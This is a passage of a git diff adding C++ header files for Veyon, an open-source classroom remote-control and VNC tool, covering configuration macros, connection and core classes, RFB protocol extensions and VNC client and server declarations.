setAutoSwitchToCurrentRoom, "AutoSwitchToCurrentRoom", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, onlyCurrentRoomVisible, setOnlyCurrentRoomVisible, "OnlyCurrentRoomVisible", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, manualRoomAdditionAllowed, setManualRoomAdditionAllowed, "ManualRoomAdditionAllowed", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, localComputerHidden, setLocalComputerHidden, "LocalComputerHidden", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, emptyRoomsHidden, setEmptyRoomsHidden, "EmptyRoomsHidden", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, computerFilterHidden, setComputerFilterHidden, "ComputerFilterHidden", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), UUID, computerDoubleClickFeature, setComputerDoubleClickFeature, "ComputerDoubleClickFeature", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, enforceSelectedModeForClients, setEnforceSelectedModeForClients, "EnforceSelectedModeForClients", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, openComputerManagementAtStart, setOpenComputerManagementAtStart, "OpenComputerManagementAtStart", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, confirmDangerousActions, setConfirmDangerousActions, "ConfirmDangerousActions", "Master" ); \ + +#define FOREACH_VEYON_AUTHENTICATION_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), INT, authenticationMethod, setAuthenticationMethod, "Method", "Authentication" ); \ + +#define FOREACH_VEYON_KEY_AUTHENTICATION_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), STRING, privateKeyBaseDir, setPrivateKeyBaseDir, "PrivateKeyBaseDir", "Authentication" ); \ + OP( VeyonConfiguration, VeyonCore::config(), STRING, publicKeyBaseDir, setPublicKeyBaseDir, "PublicKeyBaseDir", "Authentication" ); \ + +#define FOREACH_VEYON_ACCESS_CONTROL_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), UUID, accessControlUserGroupsBackend, setAccessControlUserGroupsBackend, "UserGroupsBackend", "AccessControl"); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, domainGroupsForAccessControlEnabled, setDomainGroupsForAccessControlEnabled, "DomainGroupsEnabled", "AccessControl"); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, isAccessRestrictedToUserGroups, setAccessRestrictedToUserGroups, "AccessRestrictedToUserGroups", "AccessControl"); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, isAccessControlRulesProcessingEnabled, setAccessControlRulesProcessingEnabled, "AccessControlRulesProcessingEnabled", "AccessControl"); \ + OP( VeyonConfiguration, VeyonCore::config(), STRINGLIST, authorizedUserGroups, setAuthorizedUserGroups, "AuthorizedUserGroups", "AccessControl" ); \ + OP( VeyonConfiguration, VeyonCore::config(), JSONARRAY, accessControlRules, setAccessControlRules, "AccessControlRules", "AccessControl" ); \ + +#define FOREACH_VEYON_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_CORE_CONFIG_PROPERTIES(OP) \ + FOREACH_VEYON_UI_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_SERVICE_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_LOGGING_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_NETWORK_OBJECT_DIRECTORY_CONFIG_PROPERTY(OP)\ + FOREACH_VEYON_FEATURES_CONFIG_PROPERTY(OP)\ + FOREACH_VEYON_VNC_SERVER_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_NETWORK_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_DIRECTORIES_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_MASTER_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_AUTHENTICATION_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_KEY_AUTHENTICATION_CONFIG_PROPERTY(OP) \ + FOREACH_VEYON_ACCESS_CONTROL_CONFIG_PROPERTY(OP) \ + +#endif diff --git a/core/include/VeyonConnection.h b/core/include/VeyonConnection.h new file mode 100644 index 0000000..1f8754d --- /dev/null +++ b/core/include/VeyonConnection.h @@ -0,0 +1,93 @@ +/* + * VeyonConnection.h - declaration of class VeyonConnection + * + * Copyright (c) 2008-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_CONNECTION_H +#define VEYON_CONNECTION_H + +#include + +#include "rfb/rfbproto.h" + +#include "VeyonCore.h" +#include "VncConnection.h" + + +class FeatureMessage; + +class VEYON_CORE_EXPORT VeyonConnection : public QObject +{ + Q_OBJECT +public: + VeyonConnection( VncConnection* vncConnection ); + ~VeyonConnection() override; + + VncConnection* vncConnection() + { + return m_vncConnection; + } + + VncConnection::State state() const + { + return m_vncConnection->state(); + } + + bool isConnected() const + { + return m_vncConnection && m_vncConnection->isConnected(); + } + + const QString& user() const + { + return m_user; + } + + const QString& userHomeDir() const + { + return m_userHomeDir; + } + + void sendFeatureMessage( const FeatureMessage& featureMessage ); + +signals: + void featureMessageReceived( const FeatureMessage& ); + +private slots: + void registerConnection(); + void unregisterConnection(); + +private: + static rfbBool handleVeyonMessage( rfbClient* client, rfbServerToClientMsg* msg ); + + bool handleServerMessage( rfbClient* client, uint8_t msg ); + + static const int VeyonConnectionTag = 0xFE14A11; + + QPointer m_vncConnection; + + QString m_user; + QString m_userHomeDir; + +} ; + +#endif diff --git a/core/include/VeyonCore.h b/core/include/VeyonCore.h new file mode 100644 index 0000000..3d39798 --- /dev/null +++ b/core/include/VeyonCore.h @@ -0,0 +1,181 @@ +/* + * VeyonCore.h - declaration of VeyonCore class + basic headers + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_CORE_H +#define VEYON_CORE_H + +#include +#include +#include + +#include + +#include "QtCompat.h" + +#if defined(BUILD_VEYON_CORE_LIBRARY) +# define VEYON_CORE_EXPORT Q_DECL_EXPORT +#else +# define VEYON_CORE_EXPORT Q_DECL_IMPORT +#endif + +class QCoreApplication; +class QWidget; + +class AuthenticationCredentials; +class ComputerControlInterface; +class CryptoCore; +class Filesystem; +class Logger; +class NetworkObjectDirectoryManager; +class PlatformPluginInterface; +class PlatformPluginManager; +class PluginManager; +class UserGroupsBackendManager; +class VeyonConfiguration; + +// clazy:excludeall=ctor-missing-parent-argument + +class VEYON_CORE_EXPORT VeyonCore : public QObject +{ + Q_OBJECT +public: + VeyonCore( QCoreApplication* application, const QString& appComponentName ); + ~VeyonCore() override; + + static VeyonCore* instance(); + + static QString version(); + static QString pluginDir(); + static QString translationsDirectory(); + static QString qtTranslationsDirectory(); + static QString executableSuffix(); + static QString sharedLibrarySuffix(); + + static QString sessionIdEnvironmentVariable(); + + static VeyonConfiguration& config() + { + return *( instance()->m_config ); + } + + static AuthenticationCredentials& authenticationCredentials() + { + return *( instance()->m_authenticationCredentials ); + } + + static CryptoCore& cryptoCore() + { + return *( instance()->m_cryptoCore ); + } + + static PluginManager& pluginManager() + { + return *( instance()->m_pluginManager ); + } + + static PlatformPluginInterface& platform() + { + return *( instance()->m_platformPlugin ); + } + + static UserGroupsBackendManager& userGroupsBackendManager() + { + return *( instance()->m_userGroupsBackendManager ); + } + + static NetworkObjectDirectoryManager& networkObjectDirectoryManager() + { + return *( instance()->m_networkObjectDirectoryManager ); + } + + static Filesystem& filesystem() + { + return *( instance()->m_filesystem ); + } + + static ComputerControlInterface& localComputerControlInterface() + { + return *( instance()->m_localComputerControlInterface ); + } + + static void setupApplicationParameters(); + bool initAuthentication( int credentialTypes ); + + static bool hasSessionId(); + static int sessionId(); + + static QString applicationName(); + static void enforceBranding( QWidget* topLevelWidget ); + + static bool isDebugging(); + + static QString stripDomain( const QString& username ); + static QString formattedUuid( QUuid uuid ); + + const QString& authenticationKeyName() const + { + return m_authenticationKeyName; + } + + static bool isAuthenticationKeyNameValid( const QString& authKeyName ); + + typedef enum AuthenticationMethods + { + LogonAuthentication, + KeyFileAuthentication, + AuthenticationMethodCount + } AuthenticationMethod; + +private: + void initPlatformPlugin(); + void initConfiguration(); + void initLogging( const QString& appComponentName ); + void initLocaleAndTranslation(); + void initCryptoCore(); + void initPlugins(); + void initManagers(); + void initLocalComputerControlInterface(); + bool initKeyFileAuthentication(); + + static VeyonCore* s_instance; + + Filesystem* m_filesystem; + VeyonConfiguration* m_config; + Logger* m_logger; + AuthenticationCredentials* m_authenticationCredentials; + CryptoCore* m_cryptoCore; + PluginManager* m_pluginManager; + PlatformPluginManager* m_platformPluginManager; + PlatformPluginInterface* m_platformPlugin; + UserGroupsBackendManager* m_userGroupsBackendManager; + NetworkObjectDirectoryManager* m_networkObjectDirectoryManager; + + ComputerControlInterface* m_localComputerControlInterface; + + QString m_applicationName; + QString m_authenticationKeyName; + +}; + +#endif diff --git a/core/include/VeyonMasterInterface.h b/core/include/VeyonMasterInterface.h new file mode 100644 index 0000000..58593d1 --- /dev/null +++ b/core/include/VeyonMasterInterface.h @@ -0,0 +1,37 @@ +/* + * VeyonMasterInterface.h - interface class for VeyonMaster + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_MASTER_INTERFACE_H +#define VEYON_MASTER_INTERFACE_H + +class QWidget; + +class VeyonMasterInterface +{ +public: + virtual QWidget* mainWindow() = 0; + +}; + +#endif diff --git a/core/include/VeyonRfbExt.h b/core/include/VeyonRfbExt.h new file mode 100644 index 0000000..8bde93f --- /dev/null +++ b/core/include/VeyonRfbExt.h @@ -0,0 +1,54 @@ +/* + * VeyonRfbExt.h - an extension of the RFB-protocol, used for communication + * between master and clients + * + * Copyright (c) 2004-2018 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_RFB_EXT_H +#define VEYON_RFB_EXT_H + +typedef struct _rfbClient rfbClient; + +// new rfb command which tells server or client that a Veyon feature message is following +#define rfbVeyonFeatureMessage 41 + + +#define rfbSecTypeVeyon 40 + +enum PortOffsets +{ + PortOffsetPrimaryServiceServer = 11100, + PortOffsetVncServer = PortOffsetPrimaryServiceServer+100, + PortOffsetFeatureManagerPort = PortOffsetPrimaryServiceServer+200, + PortOffsetDemoServer = PortOffsetPrimaryServiceServer+300, +} ; + +#ifdef __cplusplus +extern "C" +{ +#endif +void handleSecTypeVeyon( rfbClient *client ); +#ifdef __cplusplus +} +#endif + +#endif diff --git a/core/include/VeyonServerInterface.h b/core/include/VeyonServerInterface.h new file mode 100644 index 0000000..f4cc470 --- /dev/null +++ b/core/include/VeyonServerInterface.h @@ -0,0 +1,39 @@ +/* + * VeyonServerInterface.h - interface class for VeyonServer + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_SERVER_INTERFACE_H +#define VEYON_SERVER_INTERFACE_H + +class FeatureMessage; +class FeatureWorkerManager; + +class VeyonServerInterface +{ +public: + virtual FeatureWorkerManager& featureWorkerManager() = 0; + virtual bool sendFeatureMessageReply( const FeatureMessage& request, const FeatureMessage& reply ) = 0; + +}; + +#endif diff --git a/core/include/VeyonServiceControl.h b/core/include/VeyonServiceControl.h new file mode 100644 index 0000000..7345b39 --- /dev/null +++ b/core/include/VeyonServiceControl.h @@ -0,0 +1,45 @@ +/* + * VeyonServiceControl.h - class for controlling the Veyon service + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_SERVICE_CONTROL_H +#define VEYON_SERVICE_CONTROL_H + +#include "ServiceControl.h" + +// clazy:excludeall=ctor-missing-parent-argument + +class VEYON_CORE_EXPORT VeyonServiceControl : public ServiceControl +{ + Q_OBJECT +public: + VeyonServiceControl( QWidget* parent = nullptr ); + + bool setAutostart( bool enabled ); + + static QString name(); + static QString filePath(); + static QString displayName(); +}; + +#endif // VEYON_SERVICE_CONTROL_H diff --git a/core/include/VeyonWorkerInterface.h b/core/include/VeyonWorkerInterface.h new file mode 100644 index 0000000..8ad80c0 --- /dev/null +++ b/core/include/VeyonWorkerInterface.h @@ -0,0 +1,34 @@ +/* + * VeyonWorkerInterface.h - interface class for VeyonWorker + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_WORKER_INTERFACE_H +#define VEYON_WORKER_INTERFACE_H + +class VeyonWorkerInterface +{ +public: + +}; + +#endif diff --git a/core/include/VncClientProtocol.h b/core/include/VncClientProtocol.h new file mode 100644 index 0000000..cf58f09 --- /dev/null +++ b/core/include/VncClientProtocol.h @@ -0,0 +1,142 @@ +/* + * VncClientProtocol.h - header file for the VncClientProtocol class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_CLIENT_PROTOCOL_H +#define VNC_CLIENT_PROTOCOL_H + +#include + +#include "rfb/rfbproto.h" + +#include "VeyonCore.h" + +class QBuffer; +class QTcpSocket; + +class VEYON_CORE_EXPORT VncClientProtocol +{ +public: + typedef enum States { + Disconnected, + Protocol, + SecurityInit, + SecurityChallenge, + SecurityResult, + FramebufferInit, + Running, + StateCount + } State; + + VncClientProtocol( QTcpSocket* socket, const QString& vncPassword ); + + State state() const + { + return m_state; + } + + void start(); + bool read(); // Flawfinder: ignore + + const QByteArray& serverInitMessage() const + { + return m_serverInitMessage; + } + + int framebufferWidth() const + { + return m_framebufferWidth; + } + + int framebufferHeight() const + { + return m_framebufferHeight; + } + + bool setPixelFormat( rfbPixelFormat pixelFormat ); + bool setEncodings( const QVector& encodings ); + + void requestFramebufferUpdate( bool incremental ); + + bool receiveMessage(); + + const QByteArray& lastMessage() const + { + return m_lastMessage; + } + + uint8_t lastMessageType() const + { + return static_cast( m_lastMessage.constData()[0] ); + } + + const QRect& lastUpdatedRect() const + { + return m_lastUpdatedRect; + } + +private: + bool readProtocol(); + bool receiveSecurityTypes(); + bool receiveSecurityChallenge(); + bool receiveSecurityResult(); + bool receiveServerInitMessage(); + + bool receiveFramebufferUpdateMessage(); + bool receiveColourMapEntriesMessage(); + bool receiveBellMessage(); + bool receiveCutTextMessage(); + bool receiveResizeFramebufferMessage(); + bool receiveXvpMessage(); + + bool readMessage( qint64 size ); + + bool handleRect( QBuffer& buffer, rfbFramebufferUpdateRectHeader rectHeader ); + bool handleRectEncodingRRE( QBuffer& buffer, uint bytesPerPixel ); + bool handleRectEncodingCoRRE( QBuffer& buffer, uint bytesPerPixel ); + bool handleRectEncodingHextile( QBuffer& buffer, + const rfbFramebufferUpdateRectHeader rectHeader, + uint bytesPerPixel ); + bool handleRectEncodingZlib( QBuffer& buffer ); + bool handleRectEncodingZRLE( QBuffer& buffer ); + + static bool isPseudoEncoding( rfbFramebufferUpdateRectHeader header ); + + QTcpSocket* m_socket; + State m_state; + + QByteArray m_vncPassword; + + QByteArray m_serverInitMessage; + + rfbPixelFormat m_pixelFormat; + + quint16 m_framebufferWidth; + quint16 m_framebufferHeight; + + QByteArray m_lastMessage; + QRect m_lastUpdatedRect; + +} ; + +#endif diff --git a/core/include/VncConnection.h b/core/include/VncConnection.h new file mode 100644 index 0000000..8936499 --- /dev/null +++ b/core/include/VncConnection.h @@ -0,0 +1,279 @@ +/* + * VncConnection.h - declaration of VncConnection class + * + * Copyright (c) 2008-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * code partly taken from KRDC / vncclientthread.h: + * Copyright (C) 2007-2008 Urs Wolfer + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_CONNECTION_H +#define VNC_CONNECTION_H + +#include +#include +#include +#include +#include +#include +#include + +#include "rfb/rfbproto.h" + +#include "RfbVeyonAuth.h" +#include "SocketDevice.h" + +class MessageEvent // clazy:exclude=copyable-polymorphic +{ +public: + virtual ~MessageEvent() {} + virtual void fire( rfbClient* client ) = 0; + +} ; + + +class VEYON_CORE_EXPORT VncConnection : public QThread +{ + Q_OBJECT +public: + enum QualityLevels + { + ThumbnailQuality, + ScreenshotQuality, + RemoteControlQuality, + DefaultQuality, + NumQualityLevels + } ; + + typedef enum FramebufferStates + { + FramebufferInvalid, + FramebufferInitialized, + FramebufferValid + } FramebufferState; + + enum States + { + Disconnected, + Connecting, + HostOffline, + ServiceUnreachable, + AuthenticationFailed, + ConnectionFailed, + Connected + } ; + typedef States State; + + explicit VncConnection( QObject *parent = nullptr ); + ~VncConnection() override; + + static void initLogging( bool debug ); + + QImage image() const; + + void restart(); + void stop(); + void stopAndDeleteLater(); + + void setHost( const QString& host ); + void setPort( int port ); + + State state() const + { + return m_state; + } + + bool isConnected() const + { + return state() == Connected && isRunning(); + } + + const QString& host() const + { + return m_host; + } + + void setVeyonAuthType( RfbVeyonAuth::Type authType ) + { + m_veyonAuthType = authType; + } + + RfbVeyonAuth::Type veyonAuthType() const + { + return m_veyonAuthType; + } + + void setQuality( QualityLevels qualityLevel ) + { + m_quality = qualityLevel; + } + + QualityLevels quality() const + { + return m_quality; + } + + void enqueueEvent( MessageEvent* event ); + + QSize framebufferSize() const + { + return m_image.size(); + } + + /** \brief Returns whether framebuffer data is valid, i.e. at least one full FB update received */ + bool hasValidFrameBuffer() const + { + return m_framebufferState == FramebufferValid; + } + + void setScaledSize( QSize s ) + { + if( m_scaledSize != s ) + { + m_scaledSize = s; + setControlFlag( ScaledScreenNeedsUpdate, true ); + } + } + + QImage scaledScreen() + { + rescaleScreen(); + return m_scaledScreen; + } + + void setFramebufferUpdateInterval( int interval ); + + void rescaleScreen(); + + static void* clientData( rfbClient* client, int tag ); + void setClientData( int tag, void* data ); + + // authentication + static void handleSecTypeVeyon( rfbClient* client ); + static void hookPrepareAuthentication( rfbClient* client ); + + static qint64 libvncClientDispatcher( char * buffer, const qint64 bytes, + SocketDevice::SocketOperation operation, void * user ); + + +signals: + void connectionEstablished(); + void imageUpdated( int x, int y, int w, int h ); + void framebufferUpdateComplete(); + void framebufferSizeChanged( int w, int h ); + void cursorPosChanged( int x, int y ); + void cursorShapeUpdated( const QPixmap& cursorShape, int xh, int yh ); + void gotCut( const QString& text ); + void stateChanged(); + + +public slots: + void mouseEvent( int x, int y, int buttonMask ); + void keyEvent( unsigned int key, bool pressed ); + void clientCut( const QString& text ); + + +protected: + void run() override; + + +private: + // intervals and timeouts + static const int ThreadTerminationTimeout = 30000; + static const int ConnectionRetryInterval = 1000; + static const int MessageWaitTimeout = 500; + static const int SocketKeepaliveIdleTime = 1000; + static const int SocketKeepaliveInterval = 500; + static const int SocketKeepaliveCount = 5; + + // RFB parameters + static const int RfbBitsPerSample = 8; + static const int RfbSamplesPerPixel = 3; + static const int RfbBytesPerPixel = 4; + + static const int VncConnectionTag = 0x590123; + + enum ControlFlag { + ScaledScreenNeedsUpdate = 0x01, + ServerReachable = 0x02, + TerminateThread = 0x04, + RestartConnection = 0x08, + }; + + Q_DECLARE_FLAGS(ControlFlags, ControlFlag) + + void establishConnection(); + void handleConnection(); + void closeConnection(); + + void setState( State state ); + + void setControlFlag( ControlFlag flag, bool on ); + bool isControlFlagSet( ControlFlag flag ); + + bool initFrameBuffer( rfbClient* client ); + void finishFrameBufferUpdate(); + + void sendEvents(); + + // hooks for LibVNCClient + static int8_t hookInitFrameBuffer( rfbClient* client ); + static void hookUpdateFB( rfbClient* client, int x, int y, int w, int h ); + static void hookFinishFrameBufferUpdate( rfbClient* client ); + static int8_t hookHandleCursorPos( rfbClient* client, int x, int y ); + static void hookCursorShape( rfbClient* client, int xh, int yh, int w, int h, int bpp ); + static void hookCutText( rfbClient* client, const char *text, int textlen ); + static void rfbClientLogDebug( const char* format, ... ); + static void rfbClientLogNone( const char* format, ... ); + static int8_t hookHandleVeyonMessage( rfbClient* client, rfbServerToClientMsg* msg ); + static void framebufferCleanup( void* framebuffer ); + + // states and flags + volatile State m_state; + FramebufferState m_framebufferState; + ControlFlags m_controlFlags; + + // connection parameters and data + rfbClient* m_client; + QualityLevels m_quality; + QString m_host; + int m_port; + RfbVeyonAuth::Type m_veyonAuthType; + + // thread and timing control + QMutex m_globalMutex; + QMutex m_controlFlagMutex; + QWaitCondition m_updateIntervalSleeper; + int m_framebufferUpdateInterval; + + // queue for RFB and custom events + QQueue m_eventQueue; + + // framebuffer data and thread synchronization objects + QImage m_image; + QImage m_scaledScreen; + QSize m_scaledSize; + mutable QReadWriteLock m_imgLock; + +} ; + +#endif + diff --git a/core/include/VncServerClient.h b/core/include/VncServerClient.h new file mode 100644 index 0000000..e533214 --- /dev/null +++ b/core/include/VncServerClient.h @@ -0,0 +1,175 @@ +/* + * VncServerClient.h - header file for the VncServerClient class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_SERVER_CLIENT_H +#define VNC_SERVER_CLIENT_H + +#include + +#include "VncServerProtocol.h" + +class VEYON_CORE_EXPORT VncServerClient : public QObject +{ + Q_OBJECT +public: + typedef enum AuthStates { + AuthInit, + AuthChallenge, + AuthPassword, + AuthToken, + AuthFinishedSuccess, + AuthFinishedFail, + } AuthState; + + typedef enum AccessControlStates { + AccessControlInit, + AccessControlSuccessful, + AccessControlPending, + AccessControlWaiting, + AccessControlFailed, + AccessControlStateCount + } AccessControlState; + + VncServerClient( QObject* parent = nullptr ) : + QObject( parent ), + m_protocolState( VncServerProtocol::Disconnected ), + m_authState( AuthInit ), + m_authType( RfbVeyonAuth::Invalid ), + m_accessControlState( AccessControlInit ), + m_username(), + m_hostAddress(), + m_challenge() + { + } + + VncServerProtocol::State protocolState() const + { + return m_protocolState; + } + + void setProtocolState( VncServerProtocol::State protocolState ) + { + m_protocolState = protocolState; + } + + AuthState authState() const + { + return m_authState; + } + + void setAuthState( AuthState authState ) + { + m_authState = authState; + } + + RfbVeyonAuth::Type authType() const + { + return m_authType; + } + + void setAuthType( RfbVeyonAuth::Type authType ) + { + m_authType = authType; + } + + AccessControlState accessControlState() const + { + return m_accessControlState; + } + + void setAccessControlState( AccessControlState accessControlState ) + { + m_accessControlState = accessControlState; + } + + QElapsedTimer& accessControlTimer() + { + return m_accessControlTimer; + } + + const QString& username() const + { + return m_username; + } + + void setUsername( const QString& username ) + { + m_username = username; + } + + const QString& hostAddress() const + { + return m_hostAddress; + } + + void setHostAddress( const QString& hostAddress ) + { + m_hostAddress = hostAddress; + } + + const QByteArray& challenge() const + { + return m_challenge; + } + + void setChallenge( const QByteArray& challenge ) + { + m_challenge = challenge; + } + + const QString& privateKey() const + { + return m_privateKey; + } + + void setPrivateKey( const QString& privateKey ) + { + m_privateKey = privateKey; + } + +public slots: + void finishAccessControl() + { + emit accessControlFinished( this ); + } + +signals: + void accessControlFinished( VncServerClient* ); + +private: + VncServerProtocol::State m_protocolState; + AuthState m_authState; + RfbVeyonAuth::Type m_authType; + AccessControlState m_accessControlState; + QElapsedTimer m_accessControlTimer; + QString m_username; + QString m_hostAddress; + QByteArray m_challenge; + QString m_privateKey; + +} ; + +typedef QList VncServerClientList; + +#endif diff --git a/core/include/VncServerPluginInterface.h b/core/include/VncServerPluginInterface.h new file mode 100644 index 0000000..0f188a9 --- /dev/null +++ b/core/include/VncServerPluginInterface.h @@ -0,0 +1,61 @@ +/* + * VncServerPluginInterface.h - abstract interface class for VNC server plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_SERVER_PLUGIN_INTERFACE_H +#define VNC_SERVER_PLUGIN_INTERFACE_H + +#include "PluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class VncServerPluginInterface +{ +public: + /*! + * \brief Create configuration widget for VNC server plugin - used in Configurator + */ + virtual QWidget* configurationWidget() = 0; + + virtual void prepareServer() = 0; + + /*! + * \brief Run the VNC server and make it listen at given port and use given password - function has to block + * \param serverPort the port the VNC server should listen at + * \param password the password to 